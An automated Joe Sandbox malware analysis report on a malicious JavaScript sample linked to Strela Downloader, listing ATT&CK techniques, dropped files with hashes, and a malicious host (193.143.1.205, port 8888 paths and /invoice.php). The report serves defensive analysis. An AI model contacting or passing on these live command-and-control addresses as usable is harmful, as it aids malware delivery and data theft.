Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
301901880157741390.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/n	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/temTao	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3347851686.0000022D89C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2113981433.0000022D89A50000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2111444174.0000029F29788000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111444174.0000029F297BD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/temTao	net.exe, 00000007.00000002.2111444174.0000029F29788000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.2111444174.0000029F29788000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587893
Start date and time:	2025-01-10 19:03:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	301901880157741390.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 52.6.155.20, 3.233.129.217, 52.22.41.97, 3.219.243.226, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 2.22.50.131, 2.22.50.144, 34.237.241.83, 13.107.246.45, 172.202.163.200, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:04:36	API Interceptor	20x Sleep call for process: powershell.exe modified
13:04:39	API Interceptor	1x Sleep call for process: net.exe modified
13:04:39	API Interceptor	2x Sleep call for process: svchost.exe modified
13:04:48	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972511502582515381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241721637114311605.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307208943503501
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugR:gJjJGtpTq2yv1AuNZRY3diu8iBVqF7
MD5:	DD73016078EC4239E5F08DD5EC694630
SHA1:	F42FDD35B935C49A121BF7586DC598700AF15B98
SHA-256:	CEE76EE529D2EA67F914FD49D7281922BD0AD6F8339D7D86F345307DEDA6214B
SHA-512:	B917651272189450ECC7627018A9FED59CCB4BEE3B5D3577CB7714E12766A5A9AC72F9CA8EA70D5E63C835E70170FC565155AF1A8898B0FD096CA1974EBCDA27
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc1e7734b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585644565001908
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	D371A15AEB982515F532DF26B2C471C4
SHA1:	46CE16BBE51C0E261792C7006303F5640D4472F1
SHA-256:	630A275C5CB7282D3D9E9D9C8D0B208FC38C00D4250BF64BA42CB309BA1890C5
SHA-512:	655551254B73314A8F3B782B6D47BB179D5D693CAB2FA872D5E15A6FCD04883697688E528C65E746A924918F2FB54230D328B33AFDD0581FCCC84A3D95D4C3E3
Malicious:	false
Preview:	..sK... ...............X\...;...{......................0.z..........{..)....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................P..)....}.................:e..)....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08091672465507932
Encrypted:	false
SSDEEP:	3:sxll8Ye75RIhzGuAJkhvekl1zgZIhvollrekGltll/SPj:sZ8z7zIrxlJgZRJe3l
MD5:	274C3D0F4006BC7A8DADA50E4B07FF45
SHA1:	28F1FEA84921F3E07A6F4DE9A6E2FD1811614C31
SHA-256:	B8525657081942176616F5DE64EE3EBECA54BEA376C721B459570E3182D43E75
SHA-512:	EC68B726C0B217C728233E9732C3A231A6AE15986583B85C283C2AF7B98890784536E8F3907BD22E30A731D11CE5B0029479C7C1C5540457F489194986526DB6
Malicious:	false
Preview:	..w.....................................;...{..)....}.......{...............{.......{...XL......{..................:e..)....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1965292577002895
Encrypted:	false
SSDEEP:	6:iO4oUIq2P92nKuAl9OmbnIFUtSoaZZmwsoazkwO92nKuAl9OmbjLJ:7zv4HAahFUte/s5LHAaSJ
MD5:	09FA4626D711B78F9E86424B0CA8BDD0
SHA1:	CC9375F76D5EB4121A4AB69084244749B114769C
SHA-256:	42628CC6597B44BCD678AAEDCD76F9B0633C58E7D66AD91B0007C8199A560A0D
SHA-512:	88AC27D0C5CF9BE028BFCD2E5C41C3879FEE7AF037DC74BF0E52E4E7BD64F42010D119EA37CAFD31B425600B3271E8D776BCF43F23A736A5EF26E435E7705A44
Malicious:	false
Preview:	2025/01/10-13:04:39.775 1c24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:04:39.777 1c24 Recovering log #3.2025/01/10-13:04:39.777 1c24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1965292577002895
Encrypted:	false
SSDEEP:	6:iO4oUIq2P92nKuAl9OmbnIFUtSoaZZmwsoazkwO92nKuAl9OmbjLJ:7zv4HAahFUte/s5LHAaSJ
MD5:	09FA4626D711B78F9E86424B0CA8BDD0
SHA1:	CC9375F76D5EB4121A4AB69084244749B114769C
SHA-256:	42628CC6597B44BCD678AAEDCD76F9B0633C58E7D66AD91B0007C8199A560A0D
SHA-512:	88AC27D0C5CF9BE028BFCD2E5C41C3879FEE7AF037DC74BF0E52E4E7BD64F42010D119EA37CAFD31B425600B3271E8D776BCF43F23A736A5EF26E435E7705A44
Malicious:	false
Preview:	2025/01/10-13:04:39.775 1c24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:04:39.777 1c24 Recovering log #3.2025/01/10-13:04:39.777 1c24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.134385362562667
Encrypted:	false
SSDEEP:	6:iO4ov++9+q2P92nKuAl9Ombzo2jMGIFUtSov+32WZmwsovV9VkwO92nKuAl9OmbX:7B39+v4HAa8uFUtf+3J/tV9V5LHAa8RJ
MD5:	890F4184C3DCEB83D0EA0CBB553D2933
SHA1:	A31CEBC0F91E5CC54A2529C21B106228AC5197AE
SHA-256:	B5243FCD5853ECECBAD3DEF9D273DBEFAD47948A573EB1BEF8BCB5D3FC6AACDF
SHA-512:	91484A2E0EB9A65253F5687997D2C57254896456A12B87FBCCBB5E32C0D55F6F03FEF3EA2B6F432E83347A73580A03F8B214C107D69F7D4963DDE19F313D686E
Malicious:	false
Preview:	2025/01/10-13:04:39.802 1d0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:04:39.803 1d0c Recovering log #3.2025/01/10-13:04:39.804 1d0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.134385362562667
Encrypted:	false
SSDEEP:	6:iO4ov++9+q2P92nKuAl9Ombzo2jMGIFUtSov+32WZmwsovV9VkwO92nKuAl9OmbX:7B39+v4HAa8uFUtf+3J/tV9V5LHAa8RJ
MD5:	890F4184C3DCEB83D0EA0CBB553D2933
SHA1:	A31CEBC0F91E5CC54A2529C21B106228AC5197AE
SHA-256:	B5243FCD5853ECECBAD3DEF9D273DBEFAD47948A573EB1BEF8BCB5D3FC6AACDF
SHA-512:	91484A2E0EB9A65253F5687997D2C57254896456A12B87FBCCBB5E32C0D55F6F03FEF3EA2B6F432E83347A73580A03F8B214C107D69F7D4963DDE19F313D686E
Malicious:	false
Preview:	2025/01/10-13:04:39.802 1d0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:04:39.803 1d0c Recovering log #3.2025/01/10-13:04:39.804 1d0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.053811213607686
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMEsBdOg2HZkAcaq3QYiubxnP7E4T3OF+:Y2sRdstdMHZkr3QYhbxP7nbI+
MD5:	A42CCCE0CC834E7B822AB578392633A7
SHA1:	197AA3548282D3AD233BA013F24D5FDC72531EA3
SHA-256:	86C199F4024C04A1529E5FA36F3678291C205DA9C2EBF92B4D02D228E699B203
SHA-512:	1C3EDFBEA071F347B9391566AFFBE3E9E69F7ABF1A490D3474AAA9C77C4E02A412C6D196FC6085D1F39275064D1CA65FD6B6F037E8D9AB5F9EE1655C3611E0F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381092291470313","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":158120},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cb8e5c9d-a659-4fd4-82d1-db76c09c68cf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.053811213607686
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMEsBdOg2HZkAcaq3QYiubxnP7E4T3OF+:Y2sRdstdMHZkr3QYhbxP7nbI+
MD5:	A42CCCE0CC834E7B822AB578392633A7
SHA1:	197AA3548282D3AD233BA013F24D5FDC72531EA3
SHA-256:	86C199F4024C04A1529E5FA36F3678291C205DA9C2EBF92B4D02D228E699B203
SHA-512:	1C3EDFBEA071F347B9391566AFFBE3E9E69F7ABF1A490D3474AAA9C77C4E02A412C6D196FC6085D1F39275064D1CA65FD6B6F037E8D9AB5F9EE1655C3611E0F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381092291470313","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":158120},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.238796799127252
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUHdSPa:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLA
MD5:	A2CFD23EC768D121AD73FFF1CA8FF1B0
SHA1:	6A187F3244D1626A936BE34F01114E993DDA8562
SHA-256:	45B169E9F465EAD97D365FE2AEAC8C3DBB2EECD888F83F2FA0A76739F97B577E
SHA-512:	E2F5956D1549738277FC4EA569B5755422EB5C332E07D8875DA18B79035C1527F0634779752552A9757B48F36CB73107B56D0211ED295A073E7415D03766CD53
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.10703174446006
Encrypted:	false
SSDEEP:	6:iO4o4S39+q2P92nKuAl9OmbzNMxIFUtSoKE2WZmwsoKE9VkwO92nKuAl9OmbzNMT:7D39+v4HAa8jFUtHJ/J9V5LHAa84J
MD5:	83EBDA6F2932D6058B68B94B9BE791F5
SHA1:	82BD7E0F97BC1B92716F0A040A2D5925EBC322C1
SHA-256:	33EEA1EF78949B0CEE6B02DCAC7B2D5E67233C8A82566F2DE15CFA1A6A23BB58
SHA-512:	57B939A7AA53C517E90523B94D88916F477E05364BEB87D77B8A53C575047BCBBCB1FB9F700871AE89FD6EF2EE6E1ECB6FE645619E5B3570EE5777906A62CA99
Malicious:	false
Preview:	2025/01/10-13:04:40.053 1d0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:04:40.059 1d0c Recovering log #3.2025/01/10-13:04:40.059 1d0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.10703174446006
Encrypted:	false
SSDEEP:	6:iO4o4S39+q2P92nKuAl9OmbzNMxIFUtSoKE2WZmwsoKE9VkwO92nKuAl9OmbzNMT:7D39+v4HAa8jFUtHJ/J9V5LHAa84J
MD5:	83EBDA6F2932D6058B68B94B9BE791F5
SHA1:	82BD7E0F97BC1B92716F0A040A2D5925EBC322C1
SHA-256:	33EEA1EF78949B0CEE6B02DCAC7B2D5E67233C8A82566F2DE15CFA1A6A23BB58
SHA-512:	57B939A7AA53C517E90523B94D88916F477E05364BEB87D77B8A53C575047BCBBCB1FB9F700871AE89FD6EF2EE6E1ECB6FE645619E5B3570EE5777906A62CA99
Malicious:	false
Preview:	2025/01/10-13:04:40.053 1d0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:04:40.059 1d0c Recovering log #3.2025/01/10-13:04:40.059 1d0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

